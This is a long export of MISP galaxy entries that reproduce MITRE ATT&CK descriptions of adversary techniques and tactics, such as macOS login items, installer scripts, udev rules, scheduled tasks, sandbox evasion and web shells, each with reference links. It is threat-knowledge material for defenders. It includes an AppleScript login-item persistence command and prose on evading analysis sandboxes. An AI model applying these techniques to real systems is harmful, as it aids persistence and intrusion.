Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.

Login items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it

launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.

Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application “System Events” to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Login Items - T1547.015"*

Table 8828. Table References

Links
https://attack.mitre.org/techniques/T1547/015
https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/
https://developer.apple.com/documentation/coreservices/launch_services
https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1
https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/
https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/
https://gist.github.com/kalopromnat/6111584
https://objective-see.com/blog/blog_0x25.html
https://objective-see.com/blog/blog_0x31.html
https://objective-see.com/blog/blog_0x44.html
https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac

https://web.archive.org/web/20160216034946/https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/
https://web.archive.org/web/20221007144948/http://www.hexed.in/2019/07/osxdok-analysis.html
https://www.sentinelone.com/blog/how-malware-persists-on-macos/

Installer Packages - T1546.016

Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)

Using legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)

Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.

For Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures)

The tag is: *misp-galaxy:mitre-attack-pattern="Installer Packages - T1546.016"*

Table 8829. Table References

Links
https://attack.mitre.org/techniques/T1546/016
https://cpb-us-e1.wpmucdn.com/sites.psu.edu/dist/4/24696/files/2019/07/psumac2019-345-Installer-Package-Scripting-Making-your-deployments-easier-one-at-a-time.pdf
https://learn.microsoft.com/windows/win32/msi/installation-procedure-tables-group
https://objective-see.com/blog/blog_0x59.html
https://redcanary.com/blog/mac-application-bundles/
https://securelist.com/operation-applejeus/87553/

https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#s-mscriptsinstact

Udev Rules - T1546.017

Adversaries may maintain persistence through executing malicious content triggered using udev rules. Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.(Citation: Ignacio Udev research 2024)(Citation: Elastic Linux Persistence 2024)

Adversaries may abuse the udev subsystem by adding or modifying rules in udev rule files to execute malicious content. For example, an adversary may configure a rule to execute their binary each time the pseudo-device file, such as `/dev/random`, is accessed by an application. Although udev is limited to running short tasks and is restricted by systemd-udevd's sandbox (blocking network and filesystem access), attackers may use scripting commands under the action key `RUN+=` to detach and run the malicious content's process in the background to bypass these controls.(Citation: Reichert aon sedexp 2024)

The tag is: *misp-galaxy:mitre-attack-pattern="Udev Rules - T1546.017"*

Table 8830. Table References

Links
https://attack.mitre.org/techniques/T1546/017
https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/
https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp
https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms

Identify groups/roles - T1270

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1270).

Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify groups/roles - T1270"*

Table 8831. Table References

Links
https://attack.mitre.org/techniques/T1270

Proxy/protocol relays - T1304

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1304).

Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Proxy/protocol relays - T1304"*

Table 8832. Table References

Links
https://attack.mitre.org/techniques/T1304

Scheduled Task/Job - T1053

Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)

Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)

The tag is: *misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053"*

Table 8833. Table References

Links
https://attack.mitre.org/techniques/T1053
https://technet.microsoft.com/en-us/library/cc785125.aspx
https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain

Scheduled Task/Job - T1603

Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval.

On Android, the `WorkManager` API allows asynchronous tasks to be scheduled with the system. `WorkManager` was introduced to unify task scheduling on Android, using `JobScheduler`, `GcmNetworkManager`, and `AlarmManager` internally. `WorkManager` offers a lot of flexibility for scheduling, including periodically, one time, or constraint-based (e.g. only when the device is charging).(Citation: Android WorkManager)

On iOS, the `NSBackgroundActivityScheduler` API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed. The app can choose the interval for repeating tasks, or the delay between scheduling and execution for one-time tasks.(Citation: Apple NSBackgroundActivityScheduler)

The tag is: *misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1603"*

Table 8834. Table References

Links
https://attack.mitre.org/techniques/T1603
https://developer.android.com/topic/libraries/architecture/workmanager
https://developer.apple.com/documentation/foundation/nsbackgroundactivityscheduler

Develop KITs/KIQs - T1227

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1227).

Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)

The tag is: *misp-galaxy:mitre-attack-pattern="Develop KITs/KIQs - T1227"*

Table 8835. Table References

Links
https://attack.mitre.org/techniques/T1227

System Shutdown/Reboot - T1529

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.

Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.

Adversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a “blue screen of death” (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023) In some cases, the system may not be able to boot again.

Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529"*

Table 8836. Table References

Links
https://attack.mitre.org/techniques/T1529
https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown
https://github.com/lzcapp/NotMe-BSOD
https://ntdoc.m417z.com/ntraiseharderror
https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/
https://www.cisa.gov/uscert/ncas/alerts/TA18-106A
https://www.crowdstrike.com/en-us/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/
https://www.sonicwall.com/blog/disarming-darkgate-a-deep-dive-into-thwarting-the-latest-darkgate-variant

Virtualization/Sandbox Evasion - T1633

Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors after checking for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware's behavior to disengage from the victim or conceal the core functions of the payload. They may also search for VME artifacts before dropping further payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1633) during automated discovery to shape follow-on behaviors.

Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1633) such as checking for system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment.

The tag is: *misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1633"*

Table 8837. Table References

Links
https://attack.mitre.org/techniques/T1633

Virtualization/Sandbox Evasion - T1497

Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497"*

Table 8838. Table References

Links
https://attack.mitre.org/techniques/T1497
https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit

https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/

Initial Access - TA0001

The adversary is trying to get into your network.

Initial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.

The tag is: *misp-galaxy:mitre-attack-pattern="Initial Access - TA0001"*

Table 8839. Table References

Links
https://attack.mitre.org/tactics/TA0001

Defense Evasion - TA0030

```
The adversary is trying to avoid being detected.
```

Defense evasion consists of techniques an adversary may use to evade detection or avoid other defenses. Sometimes these actions are the same as or variations of techniques in other categories that have the added benefit of subverting a particular defense or mitigation. Defense evasion may be considered a set of attributes the adversary applies to all other phases of the operation.

The tag is: *misp-galaxy:mitre-attack-pattern="Defense Evasion - TA0030"*

Table 8840. Table References

Links
https://attack.mitre.org/tactics/TA0030

Privilege Escalation - TA0004

The adversary is trying to gain higher-level permissions.

Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include:

- SYSTEM/root level

- local administrator
- user account with admin-like access
- user accounts with access to specific system or perform specific function

These techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.

The tag is: *misp-galaxy:mitre-attack-pattern="Privilege Escalation - TA0004"*

Table 8841. Table References

Links
https://attack.mitre.org/tactics/TA0004

Defense Evasion - TA0005

The adversary is trying to avoid being detected.

Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics' techniques are cross-listed here when those techniques include the added benefit of subverting defenses.

The tag is: *misp-galaxy:mitre-attack-pattern="Defense Evasion - TA0005"*

Table 8842. Table References

Links
https://attack.mitre.org/tactics/TA0005

Credential Access - TA0006

The adversary is trying to steal account names and passwords.

Credential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.

The tag is: *misp-galaxy:mitre-attack-pattern="Credential Access - TA0006"*

Table 8843. Table References

Links
https://attack.mitre.org/tactics/TA0006

Lateral Movement - TA0008

The adversary is trying to move through your environment.

Lateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target, then pivoting through multiple systems and accounts to gain access to it. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier.

The tag is: *misp-galaxy:mitre-attack-pattern="Lateral Movement - TA0008"*

Table 8844. Table References

Links
https://attack.mitre.org/tactics/TA0008

Data Obfuscation - T1001

Adversaries may obfuscate command and control traffic to make it more difficult to detect.(Citation: Bitdefender FunnyDream Campaign November 2020) Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001"*

Table 8845. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1001
https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf

Web Shell - T1100

A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)

Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.

The tag is: *misp-galaxy:mitre-attack-pattern="Web Shell - T1100"*

Table 8846. Table References

Links
https://attack.mitre.org/techniques/T1100
https://capec.mitre.org/data/definitions/650.html
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
https://www.us-cert.gov/ncas/alerts/TA15-314A

Adversary OPSEC - TA0021

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0021/).

Adversary OPSEC consists of the use of various technologies or 3rd party services to obfuscate, hide, or blend in with accepted network traffic or system behavior. The adversary may use these techniques to evade defenses, reduce attribution, minimize discovery, and/or increase the time and effort required to analyze.

The tag is: *misp-galaxy:mitre-attack-pattern="Adversary OPSEC - TA0021"*

Table 8847. Table References

Links
https://attack.mitre.org/tactics/TA0021

Automated Exfiltration - T1020

Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020)

When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).

The tag is: *misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020"*

Table 8848. Table References

Links
https://attack.mitre.org/techniques/T1020
https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/

Hardware Additions - T1200

Adversaries may physically introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.

While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access points to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200"*

Table 8849. Table References

Links
https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/
https://attack.mitre.org/techniques/T1200
https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html
https://www.youtube.com/watch?v=fXthwl6ShOg
https://www.youtube.com/watch?v=lDvf4ScWbcQ

Data Compressed - T1002

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Compressed - T1002"*

Table 8850. Table References

Links
https://attack.mitre.org/techniques/T1002
https://en.wikipedia.org/wiki/List_of_file_signatures

Credential Access - TA0031

The adversary is trying to steal account names, passwords, or other secrets that enable access to

resources.

Credential access represents techniques that can be used by adversaries to obtain access to or control over passwords, tokens, cryptographic keys, or other values that could be used by an adversary to gain unauthorized access to resources. Credential access allows the adversary to assume the identity of an account, with all of that account's permissions on the system and network, and makes it harder for defenders to detect the adversary. With sufficient access within a network, an adversary can create accounts for later use within the environment.

The tag is: *misp-galaxy:mitre-attack-pattern="Credential Access - TA0031"*

Table 8851. Table References

Links
https://attack.mitre.org/tactics/TA0031

Target Selection - TA0014

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0014/).

Target selection consists of an iterative process in which an adversary determines a target by first beginning at the strategic level and then narrowing down operationally and tactically until a specific target is chosen. A target may be defined as an entity or object that performs a function considered for possible engagement or other action.

The tag is: *misp-galaxy:mitre-attack-pattern="Target Selection - TA0014"*

Table 8852. Table References

Links
https://attack.mitre.org/tactics/TA0014

Network Sniffing - T1040

Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

Network sniffing may reveal configuration details, such as running services, version numbers, and

other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or [Defense Evasion](https://attack.mitre.org/tactics/TA0005) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) (AiTM) to passively gain additional knowledge about the environment.

In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)

On network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040"*

Table 8853. Table References

Links
https://attack.mitre.org/techniques/T1040
https://cloud.google.com/vpc/docs/packet-mirroring
https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html
https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview
https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512
https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/
https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html
https://www.us-cert.gov/ncas/alerts/TA18-106A

New Service - T1050

When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry.

Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with

administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).

The tag is: *misp-galaxy:mitre-attack-pattern="New Service - T1050"*

Table 8854. Table References

Links
https://attack.mitre.org/techniques/T1050
https://capec.mitre.org/data/definitions/550.html
https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
https://technet.microsoft.com/en-us/library/cc772408.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902

Weaken Encryption - T1600

Adversaries may compromise a network device's encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)

Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.

Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device's ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)

The tag is: *misp-galaxy:mitre-attack-pattern="Weaken Encryption - T1600"*

Table 8855. Table References

Links
https://attack.mitre.org/techniques/T1600
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

Indicator Removal - T1070

Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary's actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.

Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070"*

Table 8856. Table References

Links
https://attack.mitre.org/techniques/T1070

Fallback Channels - T1008

Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.

The tag is: *misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008"*

Table 8857. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1008

Binary Padding - T1009

Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.

Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis.

Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)

The tag is: *misp-galaxy:mitre-attack-pattern="Binary Padding - T1009"*

Table 8858. Table References

Links
https://attack.mitre.org/techniques/T1009
https://capec.mitre.org/data/definitions/572.html
https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/
https://www.virustotal.com/en/faq/
https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/

Persona Development - TA0023

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0023/).

Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.

The tag is: *misp-galaxy:mitre-attack-pattern="Persona Development - TA0023"*

Table 8859. Table References

Links
